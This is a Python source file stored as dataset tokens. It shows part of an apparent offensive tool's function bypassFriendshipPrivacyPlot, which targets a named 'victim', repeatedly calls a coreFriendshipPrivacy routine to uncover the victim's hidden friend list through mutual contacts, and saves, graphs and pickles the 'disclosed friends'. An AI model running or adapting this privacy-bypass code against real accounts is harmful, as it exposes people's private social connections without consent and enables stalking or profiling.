"(_", "node", "keys_", "[_", "int_", "(_", "label", "E_", "[_", "0_", "]_", ")_", "]_", ",_", "node", "keys_", "[_", "int_", "(_", "label", "E_", "[_", "1_", "]_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nx_", "._", "draw", "\\u", "spring", "_", "(_", "label", "Graph_", ",_", "node", "\\u", "color_", "=_", "np_", "._", "linspace_", "(_", "0_", ",_", "1_", ",_", "len_", "(_", "label", "Graph_", "._", "nodes_", "(_", ")_", ")_", ")_", ",_", "edge", "\\u", "color_", "=_", "np_", "._", "linspace_", "(_", "0_", ",_", "1_", ",_", "len_", "(_", "label", "Graph_", "._", "edges_", "(_", ")_", ")_", ")_", ",_", "with", "\\u", "labels_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "savefig_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"", "label", "Graph", "\\u", "color", ".", "pdf", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "savefig_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"", "label", "Graph", "\\u", "color", ".", "png", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "write", "\\u", "dot_", "(_", "label", "Graph_", ",_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"", "label", "Graph", "\\u", "color", ".", "dot", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "show_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Err", "o", " ", "plott", "ing", " ", "the", " ", "graph", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Sav", "ing", " ", "the", " ", "object", " ", "for", " ", "future", " ", "analysis_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "\"", "dump", "s", "\"_", ",_", "victim", "_", ",_", "\"", "object", "s", "\"_", ",_", "victim", "_", "+_", "\"-", "communi", "ty", "\"_", ")_", ",_", "\"", "wb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pickle_", "._", "dump_", "(_", "label", "Graph_", ",_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Communi", "ty", " ", "algorithm_", "\\u\\u\\uNL\\u\\u\\u_", "partition_", "=_", "community_", "._", "best", "\\u", "partition_", "(_", "label", "Graph_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "set_", "(_", "partition_", "._", "values_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Communi", "ty", "\"_", ",_", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "members_", "=_", "[_", "nodes_", "for_", "nodes_", "in_", "partition_", "._", "keys_", "(_", ")_", "if_", "partition_", "[_", "nodes_", "]_", "==_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "'''", " ", "No", " ", "long", "er", " ", "necessar", "y", " ", "(?", ")", " ", "\\", "10", ";", " ", " ", " ", " ", "reference", " ", "=", " ", "open", "(", "root", "+\"", "\\\\\\\\\"", "+", "director", "y", "+\"", "\\\\\\\\", "communi", "ty", "\"+", "str", "(", "i", ")+", "\"", "reference", "s", ".", "txt", "\",\"", "wb", "\")", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "for", " ", "nodes", " ", "in", " ", "member", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "line", " ", "=", " ", "str", "(", "node", "keys", "[", "int", "(", "nodes", ")])", "+'", " ", ":", " ", "'+", "str", "(", "nodes", ")", " ", "\\", "10", ";", " ", " ", " ", " ", "reference", ".", "write", "(", "line", " ", "+", " ", "'\\\\", "n", "')", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "reference", ".", "close", "()", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ego", "net_", "=_", "label", "Graph_", "._", "subgraph_", "(_", "set_", "(_", "members_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "sorted_", "(_", "ego", "net_", "._", "nodes_", "(_", ")_", ",_", "reverse_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "sorted_", "(_", "ego", "net_", "._", "edges_", "(_", ")_", ",_", "reverse_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "nx_", "._", "draw", "\\u", "spring", "_", "(_", "ego", "net_", ",_", "node", "\\u", "color_", "=_", "np_", "._", "linspace_", "(_", "0_", ",_", "1_", ",_", "len_", "(_", "ego", "net_", "._", "nodes_", "(_", ")_", ")_", ")_", ",_", "edge", "\\u", "color_", "=_", "'#", "000000", "'_", ",_", "with", "\\u", "labels_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "savefig_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"", "Communi", "ty", "\"_", "+_", "str_", "(_", "i_", ")_", "+_", "\".", "pdf", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "savefig_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"", "Communi", "ty", "\"_", "+_", "str_", "(_", "i_", ")_", "+_", "\".", "png", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "write", "\\u", "dot_", "(_", "ego", "net_", ",_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"", "Communi", "ty", "\"_", "+_", "str_", "(_", "i_", ")_", "+_", "\".", "dot", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "show_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Error", " ", "plott", "ing", " ", "the", " ", "graph", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "raw", "\\u", "input_", "(_", "'", "Press", " ", "enter", " ", "to", " ", "continue", "...", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "'", "Error", " ", "on", " ", "analyze", "Graph", "()", " ", "file", " ", "not", " ", "exist", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Error", " ", "on", " ", "analyze", "Graph", "()", " ", "file", " ", "not", " ", "exist", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "bypass", "Friends", "hip", "Priva", "cy", "Plot_", "(_", "victim", "_", ",_", "transiti", "ve_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "col", "ecc", "ion_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "ID_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "root_", "=_", "'", "dump", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "directory_", "=_", "str_", "(_", "victim", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mkdir_", "(_", "directory_", ",_", "root_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "my", "Graph_", "=_", "nx_", "._", "Graph_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "col", "ecc", "ion_", "[_", "victim", "_", "]_", "=_", "node", "ID_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "victim", "a_", "=_", "node", "ID_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "my", "Graph_", "._", "add", "\\u", "node_", "(_", "victim", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "ID_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Perce", "nta", "ge", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "percentage_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Disc", "los", "ude", " ", "friends", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "friends", "hip", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Al", "read", "y", " ", "visit", "ed", " ", "nodes", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "visited_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "If", " ", "the", " ", "file", " ", "alr", "ead", "y", " ", "exist", "s", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "rb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Read", "s", " ", "every", " ", "line", " ", "of", " ", "the", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "linea_", "=_", "friends", "hip", "File_", "._", "readline_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "linea_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Stor", "e", " ", "in", " ", "the", " ", "visit", "ed", " ", "array", " ", "for", " ", "non", " ", "repetition", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "visited_", "._", "append_", "(_", "linea_", "._", "strip_", "(_", "\"\\\\", "n", "\\\\", "r", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "friends", "hip", "File_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "A_", ",_", "col", "ecc", "ion_", "=_", "load", "Objects_", "(_", "victim", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "A_", "==_", "[_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "\"", "Inco", "nsis", "ten", "cy", ",", " ", "the", " ", "user", "id", " ", "file", " ", "exist", "s", ",", " ", "but", " ", "has", " ", "no", " ", "object", " ", "associate", "d", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "Inco", "nsis", "ten", "cy", ",", " ", "the", " ", "user", "id", " ", "file", " ", "exist", "s", ",", " ", "but", " ", "has", " ", "no", " ", "object", " ", "associate", "d", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "my", "Graph_", "=_", "nx_", "._", "from", "\\u", "nump", "y", "\\u", "matrix_", "(_", "A_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "If", " ", "the", " ", "file", " ", "doe", "s", " ", "not", " ", "exist", "s", ",", " ", "create", "s", " ", "the", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "wb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "friends", "hip", "File_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Generate", "s", " ", "the", " ", "first", " ", "level", " ", "of", " ", "the", " ", "search_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "core", "Friends", "hip", "Priva", "cy_", "(_", "victim", "_", ",_", "transiti", "ve_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Check", " ", "the", " ", "interne", "t", " ", "connecti", "on", " ", "plea", "se", "..'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Stor", "es", " ", "non", " ", "repe", "titi", "ve", " ", "values", " ", "in", " ", "the", " ", "discl", "ose", "d", " ", "friends", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "indiv", "id", "uo", "s_", "in_", "result_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "indiv", "id", "uo", "s_", "not_", "in_", "visited_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "col", "ecc", "ion_", "._", "has", "\\u", "key_", "(_", "indiv", "id", "uo", "s_", ")_", "==_", "False_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nod", "o_", "=_", "node", "ID_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "ID_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "col", "ecc", "ion_", "[_", "indiv", "id", "uo", "s_", "]_", "=_", "nod", "o_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nod", "o_", "=_", "col", "ecc", "ion_", "[_", "indiv", "id", "uo", "s_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "col", "ecc", "ion_", "._", "has", "\\u", "key_", "(_", "transiti", "ve_", ")_", "==_", "False_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "transiti", "vo_", "=_", "node", "ID_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "ID_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "col", "ecc", "ion_", "[_", "transiti", "ve_", "]_", "=_", "transiti", "vo_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "transiti", "vo_", "=_", "col", "ecc", "ion_", "[_", "transiti", "ve_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "my", "Graph_", "._", "add", "\\u", "node_", "(_", "nod", "o_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "my", "Graph_", "._", "add", "\\u", "edge_", "(_", "nod", "o_", ",_", "transiti", "vo_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "friends", "hip", "s_", "._", "append_", "(_", "indiv", "id", "uo", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Counter", " ", "for", " ", "percentage", " ", "calcul", "us", " ", "purpose", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "i_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "flush_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "r", " ", " ", " ", " ", " ", " ", " ", " ", "\\\\", "r", "'_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "For", " ", "every", " ", "value", " ", "in", " ", "the", " ", "first", " ", "discl", "ose", "d", " ", "list", ",", " ", "repeat", "s", " ", "unti", "l", " ", "every", " ", "value", " ", "has", " ", "bee", "n", " ", "try", "ed", " _", "\\u\\u\\uNL\\u\\u\\u_", "for_", "friends_", "in_", "friends", "hip", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Perce", "nta", "ge", " ", "calcul", "us", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "percentage_", "=_", "(_", "i_", "*_", "100.0_", ")_", "/_", "len_", "(_", "friends", "hip", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", "Iterat", "ing", " ", "on", " ", "%", "d", " ", "of", " ", "%", "d", " ", "-", " ", "[", "%", ".2", "f", "%%", "]", " ", "complete", "d", "\\\\", "r", "'_", "%_", "(_", "i_", ",_", "len_", "(_", "friends", "hip", "s_", ")_", ",_", "percentage_", ")_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "On", "ly", " ", "if", " ", "the", " ", "node", " ", "was", "n", "'", "t", " ", "visit", "ed", " _", "\\u\\u\\uNL\\u\\u\\u_", "if_", "friends_", "not_", "in_", "visited_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "if", " ", "core", "Friends", "hip", "Priva", "cy", "()", " ", "fail", "s", ",", " ", "an", " ", "exception", " ", "is", " ", "cau", "ght", ".", " ", "There", "fore", ",", " ", "state", " ", "wis", " ", "still", " ", "bei", "ng", " ", "Tru", "e", ".", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", "On", "ly", " ", "if", " ", "the", " ", "try", " ", "pass", "es", ",", " ", "the", " ", "infini", "te", " ", "whi", "le", " ", "will", " ", "end", ".", " ", "(", "For", " ", "interne", "t", " ", "error", " ", "connecti", "on", " ", "problem", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "state_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "state_", "==_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "result_", "=_", "core", "Friends", "hip", "Priva", "cy_", "(_", "victim", "_", ",_", "friends_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "state_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "signal", "Cau", "ght_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "state_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Signal", " ", "Cau", "ght", " ", "handler", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'%", "s", " ", "'_", "%_", "e_", "._", "args_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "logs_", "(_", "'", "Check", " ", "the", " ", "interne", "t", " ", "connecti", "on", " ", "plea", "se", "..", " ", "Press", " ", "enter", " ", "whe", "n", " ", "it", "\\\\'", "s", " ", "don", "e", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", " ", " ", " ", " ", " ", " ", " ", " ", " ", "\\\\", "r", "'_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raw", "\\u", "input_", "(_", "'\\\\", "r", "Check", " ", "the", " ", "interne", "t", " ", "connecti", "on", " ", "plea", "se", "..", " ", "Press", " ", "enter", " ", "whe", "n", " ", "it", "\\\\'", "s", " ", "don", "e", "\\\\", "r", "'_", ")_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Stor", "es", " ", "non", " ", "repe", "titi", "ve", " ", "values", " ", "in", " ", "the", " ", "discl", "ose", "d", " ", "friends", " ", "container", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "element_", "in_", "result_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "element_", "not_", "in_", "friends", "hip", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "col", "ecc", "ion_", "._", "has", "\\u", "key_", "(_", "friends_", ")_", "==_", "False_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "nod", "o_", "=_", "node", "ID_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "ID_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "col", "ecc", "ion_", "[_", "friends_", "]_", "=_", "nod", "o_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "nod", "o_", "=_", "col", "ecc", "ion_", "[_", "friends_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "col", "ecc", "ion_", "._", "has", "\\u", "key_", "(_", "element_", ")_", "==_", "False_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "transiti", "vo_", "=_", "node", "ID_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "ID_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "col", "ecc", "ion_", "[_", "element_", "]_", "=_", "transiti", "vo_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "transiti", "vo_", "=_", "col", "ecc", "ion_", "[_", "element_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "my", "Graph_", "._", "add", "\\u", "node_", "(_", "nod", "o_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "my", "Graph_", "._", "add", "\\u", "edge_", "(_", "nod", "o_", ",_", "transiti", "vo_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "friends", "hip", "s_", "._", "append_", "(_", "element_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Stor", "es", " ", "every", " ", "single", " ", "value", " ", "of", " ", "friends", "hip", "s", " ", "list", " ", "alr", "ed", "y", " ", "analyze", "d", " ", "for", " ", "non", " ", "repe", "titi", "vne", "ss_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "visited_", "._", "append_", "(_", "friends_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Check", " ", "if", " ", "the", " ", "file", " ", "exist", "s", ",", " ", "if", " ", "true", " ", "append", ",", " ", "else", " ", "create", " ", "and", " ", "writes", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "ab", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "wb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Stor", "es", " ", "every", " ", "user", "ID", " ", "for", " ", "fur", "ther", " ", "analy", "zi", "s_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "friends_", "in_", "friends", "hip", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "col", "ecc", "ion_", "._", "has", "\\u", "key_", "(_", "friends_", ")_", "==_", "False_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 